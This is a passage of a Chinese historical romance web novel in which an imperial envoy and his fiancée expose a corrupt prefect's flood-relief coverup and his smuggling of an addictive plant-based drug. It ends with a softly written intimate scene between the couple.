“下官一听闻如溪县民壮闹事,就从定南赶来,灾情简报上出了纰漏,下官难辞其咎。” 嵇锐进语气沉痛,他身后一个主簿垂头丧气,被摘了官帽,由衙差押着上前。 “嵇大人这是何意?” “陆大人有所不知,”嵇二郎上前陈述缘由,“隐瞒如溪县灾情之事,正是编撰简报的主簿所为。他同如溪县乐平村的人就旧怨,又收受了安浚县、义宁县豪强大户的钱财,才隐瞒不报。我父亲一时不察,急着纾解灾民困顿,才命我把有疏漏的简报呈递给陆大人。并非有意为之。” “二郎无需解释,”嵇锐进抬手制止他,“此事我有失察之过,陆大人要如何呈报,悉听尊便。主簿收受的贿赂,下官已命人从他家宅中缴出,等陆大人带回去充公。此外,为了挽救如溪县的损失,下官已将府库所剩不多的粮食白银调来,还征调了两百身强力壮的民夫,来替如溪百姓重建屋舍。” 陆执方眸中闪过一丝异色。 若非是此情此景,他要忍不住为嵇锐进叫一声好了。先是把主簿推出来当替罪羊,再暗示金银贿赂可由他全权处理,最后用两百民夫做威胁。 情理、利益、威迫都考虑了。他若只是个没背景的京官被派到地方,嵇锐进给他的定然只剩威迫了。 陆执方牵了牵嘴角:“嵇大人考虑周详得当,面面俱到,难怪官位坐得这般稳。” “那陆大人的意思是……?” “钱粮人手都到位了,还等何时?即刻便动工吧。”陆执方点了如溪县的县丞和录事来,“还不带嵇大人的人手去各村接洽?” “是。” 乌泱泱挤着的人散了大半,嵇锐进和嵇二郎还留在原地。陆执方扫了父子俩一眼,“非常形势,衙门还有事情未忙完,陆某就不邀二位小酌漫谈了。不知嵇大人除了先前所言,还有什么旁的事?” 嵇锐进没料到他这样直截了当地赶客,愣了片刻后,摇头兀自一笑,“自是不耽搁陆大人公务了。” 陆执方朝他一礼,颀长背影转入了临时羁押地。 嵇二郎看着陆执方走远,“父亲?那王元五,真不管了?来时路上不是说要带回定南府?” 嵇锐进皱皱眉,抬手压下他的话,同他走到了更僻静处才停下。一番交涉下,他已知道陆执方不是好糊弄的。“你还是太年轻,看人看得不清楚,叫他暗度陈仓来了如溪。我要是无故再调走王元五,他定然会起疑心,追查下去。还不如先静观其变。” 羁押地的单独牢房。 一扇直棱小窗对着外头空地,照进来日光。 狱卒在远一些的地方,听不到馥梨说话。她已经蹲在栅栏外好一会儿,五叔只留给她一个背影,任凭她说得再多,都只盯着那窗外空地瞧,很偶尔了,才朝她发出“嘿嘿”两声笑,又转头去看空地。 空地上停着两架板车,堆满了大麻包袋,里头是粥棚救济用的陈粮谷米,厨娘每日都来扛两袋走。 这里县尉和衙差来来往往。 存放在此地,最不容易被灾民偷拿。 “五叔,我爹到底遇上了什么事?他为何会欠下那么多印子钱?”馥梨碎碎念地再问,脑袋上盖来一个宽厚的手掌,揉了揉她头。 她仰头看,“世子爷回来了。” “问出什么了?”陆执方拉起她,看她抖了抖略微酸软的腿,小眉头皱成个川字,就知是一无所获,“你先去医馆忙,晌午时分再来。” 馥梨点头,看五叔瘦削的背影,他好像在偷偷听她和陆执方说话,姿势比之前偏了一点点。她悄悄拉了拉陆执方的手,做了个口型:“出、去、说。” 她觉得五叔是在装疯卖傻,她想试试看。 单独牢房不用同其他囚犯挤。 这夜里,王元五却睡得不如往日踏实,狱卒不知为何,连张草席都没给他。他和衣躺在冰凉的地上,迷迷蒙蒙至深夜,觉得眼前太亮堂,还有什么人在敲他窗户,哒哒哒,搅扰得他睡不好。 王元五爬起来一看,倏尔睁大了眼。 直棱小窗外的板车着了火,本来装粮食的麻袋被火焰吞没。那可是灾后有钱都难买得到的救济粮! 王元五口中发出含糊的呼喊声,越来越大声,惊动来的狱卒却是个生脸面,浓眉大眼,声音比他还要洪亮,“嚷嚷什么呢?有觉不睡!” “啊!啊!啊呜!”王元五手急忙指向直棱窗外,像惯常一样无甚意义地胡言乱语。奈何狱卒像是瞎了似的看不见,腿一迈就要走了。 “起火了,粮车起火了,你看不见吗!快救火啊!”他手伸出栅栏,一把扯住了魁梧结实的狱卒,语气里带着焦急、恼怒,“你他娘快去救火啊!” 狱卒慢慢地回头,一根根掰开了他的手指,虚空一点窗外头,“你看清楚了,那是不是粮车。” 王元五错愕,转向直棱小窗外,几步跑过去。 小板车的火给人扑灭了,露出了麻袋里没有烧净的东西,是一蓬一蓬的枯草。直棱窗外,有女孩儿作小厮模样打扮,即便是这样,他也能认出来。 这是他从小看到大的迟家姑娘,小梨儿。 小梨儿关切地看着他,眼眶有些发红,喃喃地道:“五叔,我都听见了,你没有疯。” 她身旁出现了第二个人的脸,是白日里他见过的那个年轻官员,他听见小梨儿喊这人世子爷。王元五身后的狱卒打开了监牢,一路畅通无阻地将他领到了羁押地外,看守人员都已经被支开了。 馥梨问的还是同一个问题:“五叔,我爹到底遇上了什么事?他为何会欠下那么多印子钱?” 她目光在他憔悴的脸上轻轻落下,抬手拨了拨他颊边的乱发,“还有你,你为何会被关在这里?” 王元五沉默了许久,看向不远处守候的陆执方。青年气度清朗,身姿挺拔,同如溪县周遭的人和事都有一种格格不入。偏偏是这个人,叫他们这些囚犯也去医馆看了病症,喝了对抗时疫的药剂。 “小梨儿,他信得过?不是和嵇锐进一伙的?” “信得过的,五叔。”小梨儿看着他,认认真真解释道:“除了家人,他是我最信任的人了。” 第55章 竹床藤簟晚凉天,卧看星…… 陆执方守在不远处,望见馥梨朝他招招手,他走近二人,王元五才说了开头:“定南府的最西南辖地是洛州,洛州有开了海禁的洛州港。你爹与海外互贩香药,跑得最多的就是洛州港。” 馥梨点头:“这个我知道的。” 可是爹爹上次从洛州港顺利出海,渺无音讯,连同一整条船的商队都不见踪影。唐家商队回到淮州,才带回来她家商队遇到了海难的消息。 “没有海难,商船完好无损。”王元五提起来,面色凝重无比,“前年年末,有定南商人找到你爹,要从罗竺国进口一批植物做香药,许诺了丰厚利钱。你爹接了订单,出海快半年回来交货,对方验完货,没隔多久就找你爹下了第二笔订单。但这一次,你爹却说什么都不愿意接了。我问也问不出缘由。” “我与你爹歇在客栈,本打算精神养好了就回去淮州,定南官府的人突然闯进来,以私贩违禁物的罪名抓走了我们。监牢里,都是一同出海的船员。” 王元五的脸色变得惨白起来,深吸了一口气: “你爹被知府喊去单独审讯了一夜,再出来时,我们都被释放了,不是回家,是回商船。他欠的印子钱,就是那时被强迫签下的,只有带着货回来,那间黑钱庄才会抹掉债务。” “当时的商船上,除了惯用的航海士和舵手,三十五个船员都当场被杀了,换成了他们的人手。” 王元五的声音止不住地颤抖,每每想起来,喉头都会泛起恶心作呕的感觉,“我受不了那场面,船舱里到处都是血,刺激之下失了神志,也不知道你爹是如何与对方交涉的,等我再清醒过来,并没有被带出海,而是被关在了监牢。” 馥梨听得胆颤心惊,五叔说的这些船员,有好些人家也在淮州,她都见过的,“所以,唐家说……说是海难,还在海面见到了很多船员尸体,是商船出海航行后,把尸体都抛到了海面上。” 一直沉默听着的陆执方插了话:“既然你爹没有遇难,那么商船从去年中秋出海至今,已快大半年,他若平安,很快就会带着他们要的货物归来。” 王元五看了馥梨一眼,点点头。 馥梨听到这里,三魂七魄似乎才归位,“可是,五叔为何会来到如溪县,而不是在定南府?” “定南是首府,府衙事务繁多,人员来往复杂,监牢里被上级提审与监察的情况更多。”陆执方淡声解释道,“我若是嵇锐进,也会把五叔转移。” 同定南府比,如溪县地方偏远,不但亲属难以找寻,王元五每日接触的人都有限,消息难传递出去。 王元五眼眸黯然,“我最先被关在单独牢房,夜里时常梦魇呓语,大声喊出被杀船员的名字……实在控制不住。白日清醒过来,我又怕嵇锐进起了杀意,便装疯卖傻,时日久了,就被转移来如溪县了。” 他是跟在迟晋身边管采买和银钱账目的。 对香料植物,不如迟晋精通,被关在监牢里独自想了许久,那些植物定然不是用来做香料,而是用来做更贵重、价值更大的东西。 “那种植物叶子是灰绿色,如五指掌状,覆盖着密密的短柔毛,叶片边缘有粗锯齿,再多的,我也想不起来。那个来谈订单的商人把这种叶子叫洋麻。” 王元五一下子说了太多话,声音渐渐嘶哑,头痛起来,不断地敲打自己脑袋,“我恨我当时太糊涂,要是再多问问你爹,说不定还能知道得更多。” “五叔别这样,”馥梨拉住他的手,觉得他身体状况实在算不得好,不止形销骨立,精神都萎靡了许多,“世子爷,五叔他……他能放出来吗?” “突然放出来太惹人注目了,”陆执方摇头,“但可以让他在牢里条件好一些。”他看看月亮偏西落下的位置,推断了时辰,“他差不多该回去了。” 王元五回去前有犹豫,看向馥梨。 “小梨儿,定南是嵇锐进的地盘。这事你和这位大人要是有把握,才好牵扯进来,要没有,还是趁早离开,想办法把此事报到皇都去。你爹出来行商,最惦记的就是你的安危。他会罗竺国的语言,懂得辨别植物香料,对嵇锐进还有用处,还能留得命在。” “我知道的,五叔莫担心。” 馥梨认真地点头,目送他回到临时羁押的地方。 这一日过得疲惫,变数太多了。 心事重重的人,躺到矮榻上,就是辗转反侧。陆执方数着馥梨转了第五次身,起身点了灯。 “横竖都睡不着,来说说。” “说什么?” 馥梨抱着被子坐起,看陆执方一身雪白中衣,衣襟在睡觉时弄得微皱,乌发披散,眼眸如平日冷静。他在竹席上盘腿而坐,姿态依旧很放松。 “五叔口中的洋麻,可有头绪?你跟着师娘编撰药典,有碰到类似的草药植物么?” “世子爷怎么知道我在想这个?” 陆执方一点她额头,“你说呢?” “有碰过类似的,可只有种子能用作药物,起的是润肠通便的功效,跟叶子没有太大关系。”馥梨想了想,“既要大费周章从罗竺国进,就是在我们这里种不好的,师娘的药典上都是本地草药。” “那着手处还是在定南府和洛州港。” 陆执方长指蜷缩,敲了敲膝头,“既然是私贩,船上又是嵇锐进的人在操控,大抵会在夜间到港,才不会引人注目。要是能先嵇锐进一步,接触到你爹,就有机会找到人证物证。” “所以,第一步,先派人到洛州港蹲守。” “我可以把我爹,还有航海士的画像画下来。”馥梨回忆,还记得船上一些人的面容,“我爹的商船还刻有菱花纹的商号徽标,不知道会不会被遮盖。” “有备无患。” “好。” 馥梨点头,捏了捏被角,“那第二步呢?” “第二步,”陆执方语气微妙,“嵇锐进白日想向我行贿,我没理会。第二步是收了他的好意。” “……世子爷。” “要嵇锐进打消顾虑,得先露个把柄,让他握在手里。商船出海风浪多,归期不定,不能只在洛州港守株待兔,定南府这边也要查。” “这会不会影响你的仕途?” “等定南灾情稳定后,钦差名号收回去,我就是翁沙县的小小知县,有什么仕途能被影响到?” 陆执方不置可否。 馥梨眼神闪了闪,把玩笑话当了真,又被他点了一下额头。“不会影响,是桩大案,等证据确凿了,报回皇城,陛下还会把我调回去。” “当真?” “何时骗过你。” …… 一番商谈到了深夜,再不睡,就能看到拂晓了。 陆执方吹灭了灯,重新拥她入怀。 馥梨手指绕着他衣衫细带,有一下没一下打圈。 “我岳丈还活着,如此,还不能安心睡?” “谁说是岳丈了。” 馥梨面上微热,丢开了那根细带。 陆执方手圈在她腰上,寻到腰侧,不重不轻地掐了一下。此刻还能想起清晨那细腻如琼脂的触感。 “兄长加官进爵,不打算对我负责了?迟姑娘都与我同床共枕这许多日,本官早已清白全失。” 他话音渐低,语气有几分轻浮和幽怨。 馥梨没见陆执方这般不正经过。 有些难为情,又有些心软,知道他是故作孟浪,好转移她的注意力,冲淡满心忧思。她无声弯了唇,在他鼻尖亲了一口,慢慢喊道:“陆执方。” “嗯?” “陆执方,陆执方,陆执方……” 小娘子将香馥馥的唇送上,一下下轻啄,喊一声他的名字,亲一下,像某种奖赏。他闭着眼,愉悦似涓涓细流,淌过他的面上,徐徐浸透到了四肢百骸。 他手掌顺着她秀项抚上,用力压向自己。 温情脉脉的吻变了意味,唇齿交缠的细微水响,挑起早被牵动了的情潮。陆执方吞没她轻声嘤咛,将人不留一丝缝隙地嵌入自己怀中,已到克制的极限。 “等此事了了,一回到皇城,我便去提亲。” 馥梨被他炙热体温包裹,清晰感受到了某种张扬的变化,顾不得羞意,慢慢点了点头,“好。” 竹床藤簟晚凉天,卧看星河小院偏。 小屋窗扉漏出了一线夜幕,繁星熠熠,明日又是阳光灿烂的好天气。馥梨拥着与她心意相通的郎君,有即将久别重逢的家人。 这么一想,即便前路艰险,也无甚畏惧了。 【正文完】 第56章 他也会是她…… 绿树浓阴,夏日渐长。 陆执方带着户部与工部官员两头奔忙,定南一带受洪涝影响最严重的县、镇日益恢复生机。农田经过修复和整理后重新翻耕,散播下应季种子;遭到洪水浸泡受损的房屋经过修缮,焕然一新,家家户户每到晌午和日暮,屋顶都飘出了袅袅炊烟。 待到蝉鸣四起,暑热更盛时。 户部与工部官员功成身退,回京中述职,临走前带上了陆执方亲手所写的厚厚一叠奏报。这等消息,自然瞒不过嵇锐进安插在翁沙县的眼线,没多久就把事情报到了定南首府的嵇宅里。 嵇宅看似古朴,前庭后院,穿过中门别有洞天。 后花园奇珍异草,连鲤鱼池边的石阶都用汉白玉铺就。嵇锐进正在池旁,捻了一把鱼食慢慢地撒下。五色锦鲤肥硕,在波光粼粼的碧水里抢食。 他听过了消息,眉头都未曾皱一下。 “下去吧。” “父亲不好奇那奏报里写了什么?” 嵇二郎待报信人走远了,才询问道。 “陆执方要是随户部工部的人回去,我才该担心,而今他收了我的钱财,人又留在翁沙县任地方官,没必要与我闹得鱼死网破。” 嵇锐进拍净手上碎屑。 他料定了陆执方不会再揪着如溪县灾情不放,却未料到,大半月后,朝廷还是派了人来。 “嵇大人,府衙门外来了个京官求见。” 守门衙差将印有官符的公文双手呈上。 嵇锐进一眼扫过,上头只说接洽,没说具体何事,他心头一凛,带人从府衙迎出去门口,待看清楚来人身后跟着的大箱小箱时,便松了一口气。 如此阵势,绝非兴师问罪。 “阁下就是定南知府嵇大人?” 这次户部来的官员脸生,看似从未到过定南来,看到嵇锐进点头后,命人把大箱小箱都抬进去。 “嵇大人,我们入内说话。” 人入到府衙内,大箱小箱的盖子都打开。嵇锐进眼前一晃,里头竟全是雪白发亮的新银锭。 “李大人这是……何意?” “陛下看过了奏报,得知是嵇大人临危不乱,安排得当,组织底下人探查了各地灾情,才使得陆钦差能如此之快就稳定了灾情,啊……如今得叫陆知县了。” 负责押送的李大人笑眯眯改了口,“总之,嵇大人对赈灾有功,陛下知道定南百废待兴,特命户部送来官银帮扶农工。这笔钱,嵇大人务必要用在刀刃上。” “一定,一定。” 嵇锐进言辞恳切,安排了同僚给对方接风洗尘,转头又吩咐府衙主簿和录事清点了府库。 主簿和录事皆是面露喜色。 帮扶农工的官银,账面上一套,账面下一套,在嵇锐进身边,便是手指缝漏下来的好处都足够多。 “大人为何看着忧心?”主簿点完了官银来报数。 嵇锐进看看远处那堆白花花的银子,目光沉了下去,“因为本官从来不相信天上掉馅饼的事。”谁说得清楚,这是不是一个陷阱,抑或是一次试探。 一连三四天过去,嵇锐进没动那批官银,也没等到朝廷新派人来,只听闻了陆执方要摆宴席的传闻。 “是为他未婚妻过生辰。” “在定南最精致豪奢的酒家明月楼。” “定南府和各州高门大户家都收到了帖子。” 嵇二郎并不确定,“父亲,我们要去吗?陈家、钱家还有李家都在等我们点头。” “给嵇府递帖子了吗?” “没有,但陆世子找人问了我,定南府有哪家酒家菜肴做得最好,最适合宴请宾客。” “哈,醉翁之意不酒。” 明月楼里,玉盘初鲙鲤,金鼎正烹羊。 酒樽明光潋滟,盛满了甜蜜适口的果子酿,正对年轻女郎们的胃口。馥梨举着酒杯,同许多今日才初见的小娘子们观赏胡姬在新月锦毯上跳胡旋舞。 陆执方在楼下宴男客,她隔着薄纱帘,一眼就能望见,嵇锐进一家并没有来。她刚一分神,就听见坐旁边的郑家夫人调笑:“还未成婚,就这般郎情妾意,婚后是要怎么如胶似漆,羡煞旁人。” “就是啊,陆世子来之前,本还觉得定南几家郎君还算相貌堂堂,陆世子来了,我可算见着什么叫芝兰玉树了。就是配迟姑娘这样的,我才心服口服。” 钱家女郎喝得微醺,说话大胆,还不得罪人。 馥梨只是腼腆地笑,捧着酒杯又慢慢抿了一口。 她是宴会主角,来的各家要么是定南大商户,要么是各州官夫人和小姐。众人捧场送礼说好话,却不是冲着她,而是冲着陆执方身后的镇国公府。 就这么捱到了宴散。 馥梨送走了各家,看荆芥把堆成小山样的礼物盒子一件件搬上马车,快占去了大半空间。陆执方浸在薄霜般的月色里,穿一件黛蓝底白鹤纹圆领袍,朝她慢慢伸出了手,“脸红成这样,真没喝醉?” “在里头叫酒气熏的。”馥梨搭着他手上了马车。 车内位置一下子变得挤了,陆执方再进来,干脆与她调了位置,叫馥梨坐在自己怀里,只吩咐驾车的荆芥:“行得慢些,少颠簸。” 荆芥应声,催动马儿慢慢走起来。 馥梨像只小狸奴闻到新奇事物,在陆执方肩头嗅了嗅,又去嗅他衣襟,小鼻尖触得他锁骨发痒。 陆执方忍了忍痒意。 “作甚?” “你身上有奇怪的味儿。” “是吗?” “郑家夫人和钱家娘子身上也有这味道。” 陆执方脸色微妙地变了变,在男宾酒席上,郑家和钱家郎君坐得同样是离他最近的。 “什么味儿?” “说不清楚,是衣裳熏香盖不住的味道。”馥梨皱了皱鼻子,“有些甜腻,像烧了潮湿干草的味道。”她嗅完陆执方,又嗅自己,“我身上也染了,不好闻。” 小娘子的脸皱巴巴的,表情不满意。 “闻这个。”陆执方将腰上佩戴的香囊解下来给她,“里头有驱蚊防疫的香草。” 香囊的味道清新,馥梨攥着嗅,感觉舒服了些。 “世子爷,嵇锐进没有来,宴会是不是白办了?” “谁说的。这一车珠宝绸缎,就没一件喜欢?” “又不是真生辰,迟早要还回去。” 馥梨掀起薄薄的眼皮,嘟囔了一句。 “真生辰也没几日了,想要什么礼物?” “想要……”她声音低下去,“想要爹爹快些回来。”派去洛州港蹲守的人日夜轮换,都没有发现她爹和出海商船回来的任何踪迹。 “会等到的。”陆执方声音柔和,手掌在她颈后一下下安抚,忽地,马车急停,两人齐齐往前一倾。 “怎么回事?” “爷,嵇知府的马车在前头。” 陆执方朝挑了帘的车窗去看,前头一架华盖雕车,吊着一盏花灯,绘了定南府的图样。嵇二郎从车上下来,双手捧着个礼盒靠近,“这是给世子夫人的礼,家父在车上,有几句祝贺想叫世子代为转达。” 这是邀他到马车里谈话。 陆执方接了那礼盒,打开看了一眼,是只手镯,他递给馥梨,捏了捏她手掌,“在这里等我?” 馥梨点头,窝在马车角落,看他下了车。 果子酒后劲慢慢浮上来,人有些无力,另一手攥着那香囊慢慢嗅,不知是嗅得久了,还是人醉了,觉得清新馥郁的味道变淡了许多。 她慢慢解开香囊口的绳索,想把香料拨出来。 手指一顿,香囊里还有东西,不是香料碎屑,是叠成一卷的小纸张。馥梨试着抽出来,车门外又听见荆芥催马儿走动的声音。 “荆芥小哥,我们不等世子爷了吗?” “世子爷刚才打了个手势,叫我先送你回去。” 荆芥驾车的速度变得快起来,语气透着担心,“馥梨姑娘,咱走快些,我回头去接世子爷。” “好。”馥梨把香囊的物什塞回,扶着车壁坐稳。 嵇府的马车宽大,还燃着熏炉。 陆执方一落座,便省却了客套话,开门见山道:“嵇大人有何恭贺的话,要我转达?” “陆世子进下官马车,当真是想听一句祝贺?” 嵇锐进笑笑,盯着眼前青年郎君的眼睛。 盛装打扮的青年郎君挑挑眉,谈兴不高:“那么大一笔官银,我帮嵇大人拨过来府库,嵇大人只回礼了一只水头寡淡的玉镯。难道不是此意?” “那是提振农工的官银,下官不敢擅自挪动。” “嵇大人敢收郑家、钱家的金银,敢谎报灾情帮大户减免田地赋税,却不敢与我分一杯羹。再说下去,那就没意思了。”陆执方失了兴致,作势要下马车。 嵇锐进被他点破了,脸色未改,沉声唤住要下车的陆执方:“陆世子留步。” 陆执方身形一顿,并未回头。 “恕下官眼拙,是真看不清楚陆世子所求。” 嵇锐进谨慎惯了,他们这些没有身世背景的人,寒窗苦读十多载才挣得个小小官位,从底层汲汲营营往上爬,为自己谋利,稍一不甚就摔得头破血流。 光是坐稳定南知府这位置,就花了十多年。 可陆执方不同,含着金汤匙的人没必要冒险。 “嵇大人只坐在自己的位置看我,怎么看得清?” 陆执方转头,意兴阑珊的面上终于露了点玩味的笑意,他坐回去,点点嵇锐进座下,“世间为官者,名利两难全,空有清名的两袖清风,一年俸禄勉强温饱,而盆满钵满的,日夜被天下百姓戳着脊梁骨骂。” “可我生在陆家,我有办法兼得,何不为之?” 马车内一阵寂静。 嵇锐进面上戒备如凝固坚冰,在徐徐不断的熏风下有了一丝丝松动,但仍旧抿着唇,并未接话。 陆执方不在意他信不信,如赌桌上放筹码,对手要接就继续,不接就终局,“我隐瞒令郎,偷偷去如溪县赈灾,并非是什么心怀天下的好官,而是不想留下自己政绩上的污点。定南府好山好水,八方来财,我既然来了,就不想错过。” “旁人看镇国公府风光,可陆家同那些百年大族不一样,是我祖父那代拿命搏才起的家,谁能保证代代圣眷不衰。拿到了手上的真金白银,才最牢靠。” 话说到这里,算得上是推心置腹。 嵇锐进思忖良久,“世子爷要什么条件?” “我能帮嵇大人弄到的,就像那批官银,四六分,嵇大人在定南有好营生,也同我说道说道。翁沙知县一个月俸禄,都不够我往后给夫人买一根簪子。” 陆执方想到那微薄俸禄,面有郁色。 嵇锐进闻言笑了。 “方才给的玉镯子是仓促间准备的。寒舍还有更衬世子夫人的贺礼,世子若不嫌弃,与下官回去挑拣?” “那就却之不恭了。” 陆执方颔首,慢慢挑起了他这一侧的车帘。 亥时人静。 薄帷透明月,清风拂窗槛。 馥梨在定南府客栈的上房歇了好一会儿,才听见隔壁房有细微动静,是陆执方与荆芥说话的声音。她披衣起身,趿拉着绣花鞋去看,荆芥侧身让她进去。 陆执方刚洗漱完,下颔挂着层细微的水珠。 他肤色生得白皙,来定南赈灾后事事躬亲,晒黑几分,此刻在灯下,竟好似回到在京中时。 馥梨仰着头,端详他脸色。 “怎么脸色这么难看?” “有吗?” “是不是同嵇锐进说什么了?” “说了些他在定南私贩海货的营生。” “可有五叔说的那些洋麻?” “有,”陆执方定定看了她一会儿,似下了什么决心,从换下锦衣外衫的袖囊里翻出一个油纸样的包裹,只有掌心大小,“这里头就是五叔所说的洋麻叶。我设法得了一些,嵇锐进还不肯透露真正用途,只说是奇药。定南府遍布嵇锐进的眼线,你拿着它回京中找师娘,她认识钻研岐黄药理的奇人异士多,说不定会有头绪。” 馥梨点头,下意识要打开那个油纸包查看。 陆执方沐浴过后温热的手掌覆上来,“是用碾子处理过的干叶碎片,别开,打开了撒一地。” 馥梨听了顿住手,只放到鼻子底去嗅嗅,陆执方好笑,一把圈住她腰肢,将她抱起到桌上坐好,随手将油皮纸包裹摘下来,压到桌面茶壶底下。 “什么都靠嗅的,你是小猫小狗吗?” “我娘就说我是小狗鼻子。” “那闻闻我身上,那股怪味道,洗净没有?” 陆执方凑到她面前。 馥梨认真闻了闻,青年郎君身上有热水气息,有客栈供的香澡豆味,素绢中衣还有皂角的草木清香。那种甜腻奇怪的味道,已经变得很淡很淡了。 “没有了。”馥梨在他耳边说,又问:“那我什么时候要回京里找师娘?师娘查到结果了怎么告诉你?” 陆执方默了片刻,“明日一早就走,荆芥送你。” 馥梨愣了,“这么快?” “木樨还留在镇国公府,你查到了找他,他知道怎么样找我最快。不说了,快些回去睡。” 陆执方突然断了话题,将她抱回隔壁厢房。 他们来定南摆宴游玩,他不止一掷千金摆了豪奢宴会,连落脚客栈最顶层的上房都全包了。 馥梨安安静静地任由他将自己放回床铺上,陆执方亲了亲她额头,就要走,被她拉住了衣袖。 “世子爷。” “莫非来定南府认床,独自睡不着了?” 陆执方浅笑一下,回握她的手。 在翁沙县、如溪县赈灾时,尚且说条件简陋,没法子讲究,如今她以未婚妻身份出现,又不一样了。 有些礼节,该守还是要守。 可小娘子一双杏眼被镀上烛灯的漫漫柔光,清澈如溪水的瞳仁里映着他的缩影。她慢慢道: “陆执方,你漏了个东西。” “何物?” “那包洋麻叶的碎片,你没拿给我。” “明日启程时,再拿给荆芥也一样。” 陆执方不置可否,听见她问:“你是忘记了拿,还是特地不拿,怕我今夜偷偷打开来琢磨?” “……” “那个油纸包就是封得密实,不可能一丝气味都不泄露,我闻到的是藿香味,同那种甜腻不一样的。” 馥梨语气温和轻软,话语却出奇敏锐,带着抱怨,“你还说何时骗过我,现在就骗我了。” 陆执方一时失语。 她拽着他袖子,轻轻一拉,挺拔如松鹤的郎君就被她轻而易举拉了回来,“为何想要我走?” “定南危险,比我想的更甚。” 陆执方语气冷静,“你在这里,我会分心。” 人有所爱,就是软肋,该当保护好了,才能心无旁骛地面对困难险阻。 馥梨静了静,“所以,那些洋麻是做什么的?” “听过寒食散吗?” “我只知道它会上瘾,伤身,不知具体是何物。” “一种炼丹所得。前朝风流文士圈盛行玄学清谈,相信服用寒食散,能够激发灵感,达到飘飘欲仙、忘却烦恼的顿悟开明。后有名医撰写论著,直指寒食散危害,加上有识之士抵制,前朝官服才禁止。” “那些洋麻……被用作寒食散了?” 陆执方摇头,“传闻寒食散用后,人会觉得全身发热、口干舌燥,洋麻没有这症状。我在嵇府看到用洋麻叶做成的药丸,据说服用一个时辰可觉通体舒畅。嵇锐进的人还在研究更快起效的用法。我推测,就是你说的烧干草的味道,用灼烧的方式。” 馥梨听到这里,已是睡意全消,翻身坐了起来。 “他们没有逼你吃下去吧?” “用了个障眼法,勉强躲过去。” 陆执方对上她担忧的表情,伸手抚了抚她眉心,“若非如此,怎么会放心将事情袒露给我?” “那药丸呢?” “一出嵇府就给黄柏了,他脚程快。” 黄柏才是真正带着药丸回京中报信的人。 一颗半颗,太医署未必能研究出个名堂,只方便他在陛下那交个底,必要时能得到更多人手。虽然不知道这人手在需要时,来得够不够及时。 “定南高门大户那圈人,已经对这玩意上了瘾,同嵇锐进搭上了一条船。他贪心不足,还想把药丸卖到京中去,卖出更高价,才冒险向我展示。” 陆执方捏过她的手,果不其然,触到她指尖发凉,他攥了一会儿没攥热,拿起来贴在自己心口。 馥梨触到他紧实胸膛,随陆执方说话时,微微震颤,他温声催促:“你再不睡,子时都快过了。” 馥梨没说话。 陆执方声音放得更柔,“小梨儿?”他知馥梨不想走,就像当初她陪着他来赈灾那样。可是这次不一样,他还待再劝,馥梨忽然抱住了他。 “我回去,我去找阿兄,问他借人给你。” “还未成婚,就问大舅子借了人,他日后看我不顺眼如何是好?”陆执方无奈地笑,怀里姑娘没被开解,反而吸了吸鼻子,“这本就是,同我家有关的事。” 是追查她爹爹出海真相才牵扯出来的。 陆执方若不认识她,大可换个更稳妥的解决方式,没必要以身犯险。留在定南被嵇锐进一步步拉进这趟浑水里,这次能用障眼法躲过去,下次呢? 馥梨抬起眼眸,微微湿润的泪花很快干了,“你在这里等着我,我很快,很快就找到阿兄的人来帮忙。” 陆执方点头,“好,我等你搬的救兵。” 他低头吻下来,吻里带了些离别在即的缠绵。 馥梨闭眼感受着,在陆执方又要克制地退开时,伸手抱住他。青年郎君中衣穿戴规矩,那系带她早已熟悉,轻轻一拉,就露出了与她迥然不同的身躯。 “世子爷还有事瞒着我吗?” 馥梨抬眸盈盈一眼,指头触碰上那腰线,那层薄薄的肌理霎时紧绷,“你只得今晚坦白了。” 陆执方身形一滞,吸了口气,“没有。” 她指头不安分地游移,在他腰间写写画画,划拉出的痒意像游蛇,一丝一缕发散,陆执方被搅得无法全神贯注,去分辨她到底写了画了些什么。 馥梨的写写画画并无意义。 青年韧薄的皮肤,触着手感很好,那双素来清冷沉静的眼眸,如今因她随手描画,泛起波澜来,像极映月寒潭被搅动,月影溶成粼粼碎光,荡入心里。 陆执方瞒着她的,可多了。 否则,他今夜给她的香囊里,怎么会藏了她当初随手画他的小像。那是陆执方第一次被召进宫去见公主,彻夜未归时,她画了折成纸蜻蜓放进树洞的。 香囊里只有这么一张。 亲手勾勒的俊颜落在皱巴巴的纸面,隔着快半年的时光,叫更多蛛丝马迹纷至沓来。她想要的,她未曾想过要的,原来并非是神明庇佑。 怎么许过了这么多愿望,都没认真看一看? 树洞里没有老神仙,有个面冷心热的郎君,将她的纸蜻蜓一个个收好,让蜻蜓振翅,飞进了现实。 馥梨手渐移渐上,按在了陆执方心脏跳得激越的胸腔,声音有些颤:“心跳好快,同我的一样。” 她拉过陆执方手掌,慢慢按在她的心上。 陆执方喉结滚了滚,腰腹绷得僵硬,快要投降了,“送走你已很难,好不好,别再考验我了?” “我没想考验,”馥梨簌簌颤颤,紧张得很,两颊晕出酡色,还是定定凝望着他,“我想你陪我。” “陆执方,我想你陪我。” 心尖上的小娘子轻声软语地邀请,像火折子打开,最先露出的一点火星子,清风一过,绽出了一朵赤焰,滋啦一声,烧着陆执方维系理智的那根弦。 陆执方呼吸急促了一瞬,轻笑一声,吹灭了灯。 绣着垂丝海棠的外裳最先落下。 继而是素绢和软罗做的中衣,皱褶堆叠在一起。 昏暗之中,馥梨只觉得密密匝匝的吻落下,像是要在她身上盖满了印记,力度却柔似温泉水。她被圈在密不透风的怀抱里,听得陆执方声音暗哑,语气似微醺时肆意,“小梨儿舍得,我舍不得。” 他温热手掌一拢,叫她膝头相触,紧扣起来,“乖,别乱动,就这样。” 馥梨还未品味出有什么不对,他已沉身欺近。 薄帷透的漫漫月光里,青年郎君结实宽阔的肩膀轮廓,在她视线里摇动,忽远忽近地晃。 全身通感好似汇聚,如涓流奔涌。 流成一线,任他反复试探,偶尔有失控越界时,激得两人齐齐战栗。馥梨忍不住呜咽出声,又将手指抵住。陆执方克制着喘息,将她手指拿开。 “这层客栈没有旁人,无人听见,不用怕。” 安抚的吻落在指间,又落在她颈窝。 待她颈间渐渐发了薄汗,莺声才更婉转纵情,同他沉声微喘一起停顿起伏。 天边月轮西移,再西移。 陆执方抚过她薄汗浸润的脸颊,听得小娘子声音细细地疑问,“陆执方……我们这样……” “还不算。但迟姑娘若想悔婚,也晚了。” “谁说要反悔……”她累得要紧,后半句声音弱下去,还在同他强调,“我不会后悔的,你也不会。” 小娘子呼吸清浅,在余韵中安眠。 独留他品味初尝情爱的心摇神荡。 